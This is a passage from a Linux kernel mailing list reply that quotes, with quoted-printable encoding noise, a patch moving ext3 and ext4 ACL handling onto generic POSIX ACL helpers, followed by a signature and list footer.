> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (error)
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 goto release= _and_out;
> - =A0 =A0 =A0 =A0 =A0 =A0 }
> - =A0 =A0 } else
> - =A0 =A0 =A0 =A0 =A0 =A0 acl =3D NULL;
> -
> -retry:
> - =A0 =A0 handle =3D ext3_journal_start(inode, EXT3_DATA_TRANS_BLOCKS(= inode->i_sb));
> - =A0 =A0 if (IS_ERR(handle))
> - =A0 =A0 =A0 =A0 =A0 =A0 return PTR_ERR(handle);
> - =A0 =A0 error =3D ext3_set_acl(handle, inode, type, acl);
> - =A0 =A0 ext3_journal_stop(handle);
> - =A0 =A0 if (error =3D=3D -ENOSPC && ext3_should_retry_alloc(= inode->i_sb, &retries))
> - =A0 =A0 =A0 =A0 =A0 =A0 goto retry;
> + =A0 =A0 error =3D posix_acl_create(dir, &inode->i_mode, &= default_acl, &acl);
> + =A0 =A0 if (error)
> + =A0 =A0 =A0 =A0 =A0 =A0 return error;
>
> -release_and_out:
> - =A0 =A0 posix_acl_release(acl);
> + =A0 =A0 if (default_acl) {
> + =A0 =A0 =A0 =A0 =A0 =A0 error =3D __ext3_set_acl(handle, inode, ACL_= TYPE_DEFAULT,
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 = =A0default_acl);
> + =A0 =A0 =A0 =A0 =A0 =A0 posix_acl_release(default_acl);
> + =A0 =A0 }
> + =A0 =A0 if (acl) {
> + =A0 =A0 =A0 =A0 =A0 =A0 if (!error)
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 error =3D __ext3_set_acl(han= dle, inode, ACL_TYPE_ACCESS,
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 = =A0 =A0 =A0 =A0 =A0acl);
> + =A0 =A0 =A0 =A0 =A0 =A0 posix_acl_release(acl);
> + =A0 =A0 }
> =A0 =A0 =A0 return error;
> =A0}
> -
> -const struct xattr_handler ext3_xattr_acl_access_handler =3D {
> - =A0 =A0 .prefix =3D POSIX_ACL_XATTR_ACCESS,
> - =A0 =A0 .flags =A0=3D ACL_TYPE_ACCESS,
> - =A0 =A0 .list =A0 =3D ext3_xattr_list_acl_access,
> - =A0 =A0 .get =A0 =A0=3D ext3_xattr_get_acl,
> - =A0 =A0 .set =A0 =A0=3D ext3_xattr_set_acl,
> -};
> -
> -const struct xattr_handler ext3_xattr_acl_default_handler =3D {
> - =A0 =A0 .prefix =3D POSIX_ACL_XATTR_DEFAULT,
> - =A0 =A0 .flags =A0=3D ACL_TYPE_DEFAULT,
> - =A0 =A0 .list =A0 =3D ext3_xattr_list_acl_default,
> - =A0 =A0 .get =A0 =A0=3D ext3_xattr_get_acl,
> - =A0 =A0 .set =A0 =A0=3D ext3_xattr_set_acl,
> -};
> diff --git a/fs/ext3/acl.h b/fs/ext3/acl.h
> index dbc921e..ea1c69e 100644
> --- a/fs/ext3/acl.h
> +++ b/fs/ext3/acl.h
> @@ -55,18 +55,13 @@ static inline int ext3_acl_count(size_t size)
>
> =A0/* acl.c */
> =A0extern struct posix_acl *ext3_get_acl(struct inode *inode, int type= );
> -extern int ext3_acl_chmod (struct inode *);
> +extern int ext3_set_acl(struct inode *inode, struct posix_acl *acl, i= nt type);
> =A0extern int ext3_init_acl (handle_t *, struct inode *, struct inode = *);
>
> =A0#else =A0/* CONFIG_EXT3_FS_POSIX_ACL */
> =A0#include <linux/sched.h>
> =A0#define ext3_get_acl NULL
> -
> -static inline int
> -ext3_acl_chmod(struct inode *inode)
> -{
> - =A0 =A0 return 0;
> -}
> +#define ext3_set_acl NULL
>
> =A0static inline int
> =A0ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *= dir)
> diff --git a/fs/ext3/file.c b/fs/ext3/file.c
> index 25cb413..aad0531 100644
> --- a/fs/ext3/file.c
> +++ b/fs/ext3/file.c
> @@ -75,6 +75,7 @@ const struct inode_operations ext3_file_inode_operat= ions =3D {
> =A0 =A0 =A0 .removexattr =A0 =A0=3D generic_removexattr,
> =A0#endif
> =A0 =A0 =A0 .get_acl =A0 =A0 =A0 =A0=3D ext3_get_acl,
> + =A0 =A0 .set_acl =A0 =A0 =A0 =A0=3D ext3_set_acl,
> =A0 =A0 =A0 .fiemap =A0 =A0 =A0 =A0 =3D ext3_fiemap,
> =A0};
>
> diff --git a/fs/ext3/inode.c b/fs/ext3/inode.c
> index 2bd8548..150b6c1 100644
> --- a/fs/ext3/inode.c
> +++ b/fs/ext3/inode.c
> @@ -3365,7 +3365,7 @@ int ext3_setattr(struct dentry *dentry, struct i= attr *attr)
> =A0 =A0 =A0 mark_inode_dirty(inode);
>
> =A0 =A0 =A0 if (ia_valid & ATTR_MODE)
> - =A0 =A0 =A0 =A0 =A0 =A0 rc =3D ext3_acl_chmod(inode);
> + =A0 =A0 =A0 =A0 =A0 =A0 rc =3D posix_acl_chmod(inode);
>
> =A0err_out:
> =A0 =A0 =A0 ext3_std_error(inode->i_sb, error);
> diff --git a/fs/ext3/namei.c b/fs/ext3/namei.c
> index f8cde46..f197736 100644
> --- a/fs/ext3/namei.c
> +++ b/fs/ext3/namei.c
> @@ -2569,6 +2569,7 @@ const struct inode_operations ext3_dir_inode_ope= rations =3D {
> =A0 =A0 =A0 .removexattr =A0 =A0=3D generic_removexattr,
> =A0#endif
> =A0 =A0 =A0 .get_acl =A0 =A0 =A0 =A0=3D ext3_get_acl,
> + =A0 =A0 .set_acl =A0 =A0 =A0 =A0=3D ext3_set_acl,
> =A0};
>
> =A0const struct inode_operations ext3_special_inode_operations =3D { > @@ -2580,4 +2581,5 @@ const struct inode_operations ext3_special_inode= _operations =3D {
> =A0 =A0 =A0 .removexattr =A0 =A0=3D generic_removexattr,
> =A0#endif
> =A0 =A0 =A0 .get_acl =A0 =A0 =A0 =A0=3D ext3_get_acl,
> + =A0 =A0 .set_acl =A0 =A0 =A0 =A0=3D ext3_set_acl,
> =A0};
> diff --git a/fs/ext3/xattr.c b/fs/ext3/xattr.c
> index b1fc963..c6874be 100644
> --- a/fs/ext3/xattr.c
> +++ b/fs/ext3/xattr.c
> @@ -102,8 +102,8 @@ static struct mb_cache *ext3_xattr_cache;
> =A0static const struct xattr_handler *ext3_xattr_handler_map[] =3D { > =A0 =A0 =A0 [EXT3_XATTR_INDEX_USER] =A0 =A0 =A0 =A0 =A0 =A0 =A0=3D &am= p;ext3_xattr_user_handler,
> =A0#ifdef CONFIG_EXT3_FS_POSIX_ACL
> - =A0 =A0 [EXT3_XATTR_INDEX_POSIX_ACL_ACCESS] =A0=3D &ext3_xattr_a= cl_access_handler,
> - =A0 =A0 [EXT3_XATTR_INDEX_POSIX_ACL_DEFAULT] =3D &ext3_xattr_acl= _default_handler,
> + =A0 =A0 [EXT3_XATTR_INDEX_POSIX_ACL_ACCESS] =A0=3D &posix_acl_ac= cess_xattr_handler,
> + =A0 =A0 [EXT3_XATTR_INDEX_POSIX_ACL_DEFAULT] =3D &posix_acl_defa= ult_xattr_handler,
> =A0#endif
> =A0 =A0 =A0 [EXT3_XATTR_INDEX_TRUSTED] =A0 =A0 =A0 =A0 =A0 =3D &ex= t3_xattr_trusted_handler,
> =A0#ifdef CONFIG_EXT3_FS_SECURITY
> @@ -115,8 +115,8 @@ const struct xattr_handler *ext3_xattr_handlers[] = =3D {
> =A0 =A0 =A0 &ext3_xattr_user_handler,
> =A0 =A0 =A0 &ext3_xattr_trusted_handler,
> =A0#ifdef CONFIG_EXT3_FS_POSIX_ACL
> - =A0 =A0 &ext3_xattr_acl_access_handler,
> - =A0 =A0 &ext3_xattr_acl_default_handler,
> + =A0 =A0 &posix_acl_access_xattr_handler,
> + =A0 =A0 &posix_acl_default_xattr_handler,
> =A0#endif
> =A0#ifdef CONFIG_EXT3_FS_SECURITY
> =A0 =A0 =A0 &ext3_xattr_security_handler,
> diff --git a/fs/ext3/xattr.h b/fs/ext3/xattr.h
> index 2be4f69..32e93eb 100644
> --- a/fs/ext3/xattr.h
> +++ b/fs/ext3/xattr.h
> @@ -60,8 +60,6 @@ struct ext3_xattr_entry {
>
> =A0extern const struct xattr_handler ext3_xattr_user_handler;
> =A0extern const struct xattr_handler ext3_xattr_trusted_handler;
> -extern const struct xattr_handler ext3_xattr_acl_access_handler;
> -extern const struct xattr_handler ext3_xattr_acl_default_handler;
> =A0extern const struct xattr_handler ext3_xattr_security_handler;
>
> =A0extern ssize_t ext3_listxattr(struct dentry *, char *, size_t);
> diff --git a/fs/ext4/acl.c b/fs/ext4/acl.c
> index f827f3b..acaba0f 100644
> --- a/fs/ext4/acl.c
> +++ b/fs/ext4/acl.c
> @@ -196,7 +196,7 @@ ext4_get_acl(struct inode *inode, int type)
> =A0 * inode->i_mutex: down unless called from ext4_new_inode
> =A0 */
> =A0static int
> -ext4_set_acl(handle_t *handle, struct inode *inode, int type,
> +__ext4_set_acl(handle_t *handle, struct inode *inode, int type,
> =A0 =A0 =A0 =A0 =A0 =A0struct posix_acl *acl)
> =A0{
> =A0 =A0 =A0 int name_index;
> @@ -248,208 +248,51 @@ ext4_set_acl(handle_t *handle, struct inode *in= ode, int type,
> =A0 =A0 =A0 return error;
> =A0}
>
> -/*
> - * Initialize the ACLs of a new inode. Called from ext4_new_inode. > - *
> - * dir->i_mutex: down
> - * inode->i_mutex: up (access to inode is still exclusive)
> - */
> -int
> -ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *di= r)
> -{
> - =A0 =A0 struct posix_acl *acl =3D NULL;
> - =A0 =A0 int error =3D 0;
> -
> - =A0 =A0 if (!S_ISLNK(inode->i_mode)) {
> - =A0 =A0 =A0 =A0 =A0 =A0 if (test_opt(dir->i_sb, POSIX_ACL)) {
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 acl =3D ext4_get_acl(dir, AC= L_TYPE_DEFAULT);
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (IS_ERR(acl))
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 return PTR_E= RR(acl);
> - =A0 =A0 =A0 =A0 =A0 =A0 }
> - =A0 =A0 =A0 =A0 =A0 =A0 if (!acl)
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 inode->i_mode &=3D ~c= urrent_umask();
> - =A0 =A0 }
> - =A0 =A0 if (test_opt(inode->i_sb, POSIX_ACL) && acl) { > - =A0 =A0 =A0 =A0 =A0 =A0 if (S_ISDIR(inode->i_mode)) {
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 error =3D ext4_set_acl(handl= e, inode,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 = =A0 =A0 =A0 =A0ACL_TYPE_DEFAULT, acl);
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (error)
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 goto cleanup= ;
> - =A0 =A0 =A0 =A0 =A0 =A0 }
> - =A0 =A0 =A0 =A0 =A0 =A0 error =3D __posix_acl_create(&acl, GFP_N= OFS, &inode->i_mode);
> - =A0 =A0 =A0 =A0 =A0 =A0 if (error < 0)
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 return error;
> -
> - =A0 =A0 =A0 =A0 =A0 =A0 if (error > 0) {
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 /* This is an extended ACL *= /
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 error =3D ext4_set_acl(handl= e, inode, ACL_TYPE_ACCESS, acl);
> - =A0 =A0 =A0 =A0 =A0 =A0 }
> - =A0 =A0 }
> -cleanup:
> - =A0 =A0 posix_acl_release(acl);
> - =A0 =A0 return error;
> -}
> -
> -/*
> - * Does chmod for an inode that may have an Access Control List. The<= br> > - * inode->i_mode field must be updated to the desired value by the= caller
> - * before calling this function.
> - * Returns 0 on success, or a negative error number.
> - *
> - * We change the ACL rather than storing some ACL entries in the file=
> - * mode permission bits (which would be more efficient), because that=
> - * would break once additional permissions (like =A0ACL_APPEND, ACL_D= ELETE
> - * for directories) are added. There are no more bits available in th= e
> - * file mode.
> - *
> - * inode->i_mutex: down
> - */
> =A0int
> -ext4_acl_chmod(struct inode *inode)
> +ext4_set_acl(struct inode *inode, struct posix_acl *acl, int type) > =A0{
> - =A0 =A0 struct posix_acl *acl;
> =A0 =A0 =A0 handle_t *handle;
> - =A0 =A0 int retries =3D 0;
> - =A0 =A0 int error;
> -
> + =A0 =A0 int error, retries =3D 0;
>
> - =A0 =A0 if (S_ISLNK(inode->i_mode))
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EOPNOTSUPP;
> - =A0 =A0 if (!test_opt(inode->i_sb, POSIX_ACL))
> - =A0 =A0 =A0 =A0 =A0 =A0 return 0;
> - =A0 =A0 acl =3D ext4_get_acl(inode, ACL_TYPE_ACCESS);
> - =A0 =A0 if (IS_ERR(acl) || !acl)
> - =A0 =A0 =A0 =A0 =A0 =A0 return PTR_ERR(acl);
> - =A0 =A0 error =3D __posix_acl_chmod(&acl, GFP_KERNEL, inode->= i_mode);
> - =A0 =A0 if (error)
> - =A0 =A0 =A0 =A0 =A0 =A0 return error;
> =A0retry:
> =A0 =A0 =A0 handle =3D ext4_journal_start(inode, EXT4_HT_XATTR,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ex= t4_jbd2_credits_xattr(inode));
> - =A0 =A0 if (IS_ERR(handle)) {
> - =A0 =A0 =A0 =A0 =A0 =A0 error =3D PTR_ERR(handle);
> - =A0 =A0 =A0 =A0 =A0 =A0 ext4_std_error(inode->i_sb, error);
> - =A0 =A0 =A0 =A0 =A0 =A0 goto out;
> - =A0 =A0 }
> - =A0 =A0 error =3D ext4_set_acl(handle, inode, ACL_TYPE_ACCESS, acl);=
> + =A0 =A0 if (IS_ERR(handle))
> + =A0 =A0 =A0 =A0 =A0 =A0 return PTR_ERR(handle);
> +
> + =A0 =A0 error =3D __ext4_set_acl(handle, inode, type, acl);
> =A0 =A0 =A0 ext4_journal_stop(handle);
> - =A0 =A0 if (error =3D=3D -ENOSPC &&
> - =A0 =A0 =A0 =A0 ext4_should_retry_alloc(inode->i_sb, &retries= ))
> + =A0 =A0 if (error =3D=3D -ENOSPC && ext4_should_retry_alloc(= inode->i_sb, &retries))
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 goto retry;
> -out:
> - =A0 =A0 posix_acl_release(acl);
> =A0 =A0 =A0 return error;
> =A0}
>
> =A0/*
> - * Extended attribute handlers
> + * Initialize the ACLs of a new inode. Called from ext4_new_inode. > + *
> + * dir->i_mutex: down
> + * inode->i_mutex: up (access to inode is still exclusive)
> =A0 */
> -static size_t
> -ext4_xattr_list_acl_access(struct dentry *dentry, char *list, size_t = list_len,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0const char *name, siz= e_t name_len, int type)
> -{
> - =A0 =A0 const size_t size =3D sizeof(POSIX_ACL_XATTR_ACCESS);
> -
> - =A0 =A0 if (!test_opt(dentry->d_sb, POSIX_ACL))
> - =A0 =A0 =A0 =A0 =A0 =A0 return 0;
> - =A0 =A0 if (list && size <=3D list_len)
> - =A0 =A0 =A0 =A0 =A0 =A0 memcpy(list, POSIX_ACL_XATTR_ACCESS, size);<= br> > - =A0 =A0 return size;
> -}
> -
> -static size_t
> -ext4_xattr_list_acl_default(struct dentry *dentry, char *list, size_t= list_len,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 const char *name, si= ze_t name_len, int type)
> -{
> - =A0 =A0 const size_t size =3D sizeof(POSIX_ACL_XATTR_DEFAULT);
> -
> - =A0 =A0 if (!test_opt(dentry->d_sb, POSIX_ACL))
> - =A0 =A0 =A0 =A0 =A0 =A0 return 0;
> - =A0 =A0 if (list && size <=3D list_len)
> - =A0 =A0 =A0 =A0 =A0 =A0 memcpy(list, POSIX_ACL_XATTR_DEFAULT, size);=
> - =A0 =A0 return size;
> -}
> -
> -static int
> -ext4_xattr_get_acl(struct dentry *dentry, const char *name, void *buf= fer,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0size_t size, int type)
> +int
> +ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *di= r)
> =A0{
> - =A0 =A0 struct posix_acl *acl;
> + =A0 =A0 struct posix_acl *default_acl, *acl;
> =A0 =A0 =A0 int error;
>
> - =A0 =A0 if (strcmp(name, "") !=3D 0)
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EINVAL;
> - =A0 =A0 if (!test_opt(dentry->d_sb, POSIX_ACL))
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EOPNOTSUPP;
> -
> - =A0 =A0 acl =3D ext4_get_acl(dentry->d_inode, type);
> - =A0 =A0 if (IS_ERR(acl))
> - =A0 =A0 =A0 =A0 =A0 =A0 return PTR_ERR(acl);
> - =A0 =A0 if (acl =3D=3D NULL)
> - =A0 =A0 =A0 =A0 =A0 =A0 return -ENODATA;
> - =A0 =A0 error =3D posix_acl_to_xattr(&init_user_ns, acl, buffer,= size);
> - =A0 =A0 posix_acl_release(acl);
> -
> - =A0 =A0 return error;
> -}
> -
> -static int
> -ext4_xattr_set_acl(struct dentry *dentry, const char *name, const voi= d *value,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0size_t size, int flags, int type)
> -{
> - =A0 =A0 struct inode *inode =3D dentry->d_inode;
> - =A0 =A0 handle_t *handle;
> - =A0 =A0 struct posix_acl *acl;
> - =A0 =A0 int error, retries =3D 0;
> -
> - =A0 =A0 if (strcmp(name, "") !=3D 0)
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EINVAL;
> - =A0 =A0 if (!test_opt(inode->i_sb, POSIX_ACL))
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EOPNOTSUPP;
> - =A0 =A0 if (!inode_owner_or_capable(inode))
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EPERM;
> -
> - =A0 =A0 if (value) {
> - =A0 =A0 =A0 =A0 =A0 =A0 acl =3D posix_acl_from_xattr(&init_user_= ns, value, size);
> - =A0 =A0 =A0 =A0 =A0 =A0 if (IS_ERR(acl))
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 return PTR_ERR(acl);
> - =A0 =A0 =A0 =A0 =A0 =A0 else if (acl) {
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 error =3D posix_acl_valid(ac= l);
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (error)
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 goto release= _and_out;
> - =A0 =A0 =A0 =A0 =A0 =A0 }
> - =A0 =A0 } else
> - =A0 =A0 =A0 =A0 =A0 =A0 acl =3D NULL;
> + =A0 =A0 error =3D posix_acl_create(dir, &inode->i_mode, &= default_acl, &acl);
> + =A0 =A0 if (error)
> + =A0 =A0 =A0 =A0 =A0 =A0 return error;
>
> -retry:
> - =A0 =A0 handle =3D ext4_journal_start(inode, EXT4_HT_XATTR,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ext4= _jbd2_credits_xattr(inode));
> - =A0 =A0 if (IS_ERR(handle)) {
> - =A0 =A0 =A0 =A0 =A0 =A0 error =3D PTR_ERR(handle);
> - =A0 =A0 =A0 =A0 =A0 =A0 goto release_and_out;
> + =A0 =A0 if (default_acl) {
> + =A0 =A0 =A0 =A0 =A0 =A0 error =3D __ext4_set_acl(handle, inode, ACL_= TYPE_DEFAULT,
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 = =A0default_acl);
> + =A0 =A0 =A0 =A0 =A0 =A0 posix_acl_release(default_acl);
> + =A0 =A0 }
> + =A0 =A0 if (acl) {
> + =A0 =A0 =A0 =A0 =A0 =A0 if (!error)
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 error =3D __ext4_set_acl(han= dle, inode, ACL_TYPE_ACCESS,
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 = =A0 =A0 =A0 =A0 =A0acl);
> + =A0 =A0 =A0 =A0 =A0 =A0 posix_acl_release(acl);
> =A0 =A0 =A0 }
> - =A0 =A0 error =3D ext4_set_acl(handle, inode, type, acl);
> - =A0 =A0 ext4_journal_stop(handle);
> - =A0 =A0 if (error =3D=3D -ENOSPC && ext4_should_retry_alloc(= inode->i_sb, &retries))
> - =A0 =A0 =A0 =A0 =A0 =A0 goto retry;
> -
> -release_and_out:
> - =A0 =A0 posix_acl_release(acl);
> =A0 =A0 =A0 return error;
> =A0}
> -
> -const struct xattr_handler ext4_xattr_acl_access_handler =3D {
> - =A0 =A0 .prefix =3D POSIX_ACL_XATTR_ACCESS,
> - =A0 =A0 .flags =A0=3D ACL_TYPE_ACCESS,
> - =A0 =A0 .list =A0 =3D ext4_xattr_list_acl_access,
> - =A0 =A0 .get =A0 =A0=3D ext4_xattr_get_acl,
> - =A0 =A0 .set =A0 =A0=3D ext4_xattr_set_acl,
> -};
> -
> -const struct xattr_handler ext4_xattr_acl_default_handler =3D {
> - =A0 =A0 .prefix =3D POSIX_ACL_XATTR_DEFAULT,
> - =A0 =A0 .flags =A0=3D ACL_TYPE_DEFAULT,
> - =A0 =A0 .list =A0 =3D ext4_xattr_list_acl_default,
> - =A0 =A0 .get =A0 =A0=3D ext4_xattr_get_acl,
> - =A0 =A0 .set =A0 =A0=3D ext4_xattr_set_acl,
> -};
> diff --git a/fs/ext4/acl.h b/fs/ext4/acl.h
> index 18cb39e..da2c795 100644
> --- a/fs/ext4/acl.h
> +++ b/fs/ext4/acl.h
> @@ -55,18 +55,13 @@ static inline int ext4_acl_count(size_t size)
>
> =A0/* acl.c */
> =A0struct posix_acl *ext4_get_acl(struct inode *inode, int type);
> -extern int ext4_acl_chmod(struct inode *);
> +int ext4_set_acl(struct inode *inode, struct posix_acl *acl, int type= );
> =A0extern int ext4_init_acl(handle_t *, struct inode *, struct inode *= );
>
> =A0#else =A0/* CONFIG_EXT4_FS_POSIX_ACL */
> =A0#include <linux/sched.h>
> =A0#define ext4_get_acl NULL
> -
> -static inline int
> -ext4_acl_chmod(struct inode *inode)
> -{
> - =A0 =A0 return 0;
> -}
> +#define ext4_set_acl NULL
>
> =A0static inline int
> =A0ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *= dir)
> diff --git a/fs/ext4/file.c b/fs/ext4/file.c
> index 3da2194..43e64f6 100644
> --- a/fs/ext4/file.c
> +++ b/fs/ext4/file.c
> @@ -617,6 +617,7 @@ const struct inode_operations ext4_file_inode_oper= ations =3D {
> =A0 =A0 =A0 .listxattr =A0 =A0 =A0=3D ext4_listxattr,
> =A0 =A0 =A0 .removexattr =A0 =A0=3D generic_removexattr,
> =A0 =A0 =A0 .get_acl =A0 =A0 =A0 =A0=3D ext4_get_acl,
> + =A0 =A0 .set_acl =A0 =A0 =A0 =A0=3D ext4_set_acl,
> =A0 =A0 =A0 .fiemap =A0 =A0 =A0 =A0 =3D ext4_fiemap,
> =A0};
>
> diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c
> index 0757634..6f69f96 100644
> --- a/fs/ext4/inode.c
> +++ b/fs/ext4/inode.c
> @@ -4675,7 +4675,7 @@ int ext4_setattr(struct dentry *dentry, struct i= attr *attr)
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 ext4_orphan_del(NULL, inode);
>
> =A0 =A0 =A0 if (!rc && (ia_valid & ATTR_MODE))
> - =A0 =A0 =A0 =A0 =A0 =A0 rc =3D ext4_acl_chmod(inode);
> + =A0 =A0 =A0 =A0 =A0 =A0 rc =3D posix_acl_chmod(inode);
>
> =A0err_out:
> =A0 =A0 =A0 ext4_std_error(inode->i_sb, error);
> diff --git a/fs/ext4/namei.c b/fs/ext4/namei.c
> index 5a0408d..e77c1ba 100644
> --- a/fs/ext4/namei.c
> +++ b/fs/ext4/namei.c
> @@ -3225,6 +3225,7 @@ const struct inode_operations ext4_dir_inode_ope= rations =3D {
> =A0 =A0 =A0 .listxattr =A0 =A0 =A0=3D ext4_listxattr,
> =A0 =A0 =A0 .removexattr =A0 =A0=3D generic_removexattr,
> =A0 =A0 =A0 .get_acl =A0 =A0 =A0 =A0=3D ext4_get_acl,
> + =A0 =A0 .set_acl =A0 =A0 =A0 =A0=3D ext4_set_acl,
> =A0 =A0 =A0 .fiemap =A0 =A0 =A0 =A0 =3D ext4_fiemap,
> =A0};
>
> @@ -3235,4 +3236,5 @@ const struct inode_operations ext4_special_inode= _operations =3D {
> =A0 =A0 =A0 .listxattr =A0 =A0 =A0=3D ext4_listxattr,
> =A0 =A0 =A0 .removexattr =A0 =A0=3D generic_removexattr,
> =A0 =A0 =A0 .get_acl =A0 =A0 =A0 =A0=3D ext4_get_acl,
> + =A0 =A0 .set_acl =A0 =A0 =A0 =A0=3D ext4_set_acl,
> =A0};
> diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c
> index 1423c48..e175e94 100644
> --- a/fs/ext4/xattr.c
> +++ b/fs/ext4/xattr.c
> @@ -95,8 +95,8 @@ static struct mb_cache *ext4_xattr_cache;
> =A0static const struct xattr_handler *ext4_xattr_handler_map[] =3D { > =A0 =A0 =A0 [EXT4_XATTR_INDEX_USER] =A0 =A0 =A0 =A0 =A0 =A0 =A0=3D &am= p;ext4_xattr_user_handler,
> =A0#ifdef CONFIG_EXT4_FS_POSIX_ACL
> - =A0 =A0 [EXT4_XATTR_INDEX_POSIX_ACL_ACCESS] =A0=3D &ext4_xattr_a= cl_access_handler,
> - =A0 =A0 [EXT4_XATTR_INDEX_POSIX_ACL_DEFAULT] =3D &ext4_xattr_acl= _default_handler,
> + =A0 =A0 [EXT4_XATTR_INDEX_POSIX_ACL_ACCESS] =A0=3D &posix_acl_ac= cess_xattr_handler,
> + =A0 =A0 [EXT4_XATTR_INDEX_POSIX_ACL_DEFAULT] =3D &posix_acl_defa= ult_xattr_handler,
> =A0#endif
> =A0 =A0 =A0 [EXT4_XATTR_INDEX_TRUSTED] =A0 =A0 =A0 =A0 =A0 =3D &ex= t4_xattr_trusted_handler,
> =A0#ifdef CONFIG_EXT4_FS_SECURITY
> @@ -108,8 +108,8 @@ const struct xattr_handler *ext4_xattr_handlers[] = =3D {
> =A0 =A0 =A0 &ext4_xattr_user_handler,
> =A0 =A0 =A0 &ext4_xattr_trusted_handler,
> =A0#ifdef CONFIG_EXT4_FS_POSIX_ACL
> - =A0 =A0 &ext4_xattr_acl_access_handler,
> - =A0 =A0 &ext4_xattr_acl_default_handler,
> + =A0 =A0 &posix_acl_access_xattr_handler,
> + =A0 =A0 &posix_acl_default_xattr_handler,
> =A0#endif
> =A0#ifdef CONFIG_EXT4_FS_SECURITY
> =A0 =A0 =A0 &ext4_xattr_security_handler,
> diff --git a/fs/ext4/xattr.h b/fs/ext4/xattr.h
> index c767dbd..819d639 100644
> --- a/fs/ext4/xattr.h
> +++ b/fs/ext4/xattr.h
> @@ -96,8 +96,6 @@ struct ext4_xattr_ibody_find {
>
> =A0extern const struct xattr_handler ext4_xattr_user_handler;
> =A0extern const struct xattr_handler ext4_xattr_trusted_handler;
> -extern const struct xattr_handler ext4_xattr_acl_access_handler;
> -extern const struct xattr_handler ext4_xattr_acl_default_handler;
> =A0extern const struct xattr_handler ext4_xattr_security_handler;
>
> =A0extern ssize_t ext4_listxattr(struct dentry *, char *, size_t);
> --
> 1.7.10.4
>
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-f= sdevel" in
> the body of a message to = majordomo@vger.kernel.org
> More majordomo info at =A0http://vger.kernel.org/majordomo-info.html=
--
Jan Kara <jack@suse.cz>
SUSE Labs, CR

---------------------------------------------------------------------------= ---
Rapidly troubleshoot problems before they affect your business. Most IT
organizations don't have a clear picture of how application performance=
affects their revenue. With AppDynamics, you get 100% visibility into your<= br> Java,.NET, & PHP application. Start your 15-day FREE TRIAL of AppDynami= cs Pro!
http://pubads.g.doubleclick.net/gam= pad/clk?id=3D84349351&iu=3D/4140/ostg.clktrk
_______________________________________________
Jfs-discussion mailing list
Jfs-discussion@list= s.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/jfs-discussion<= /a>

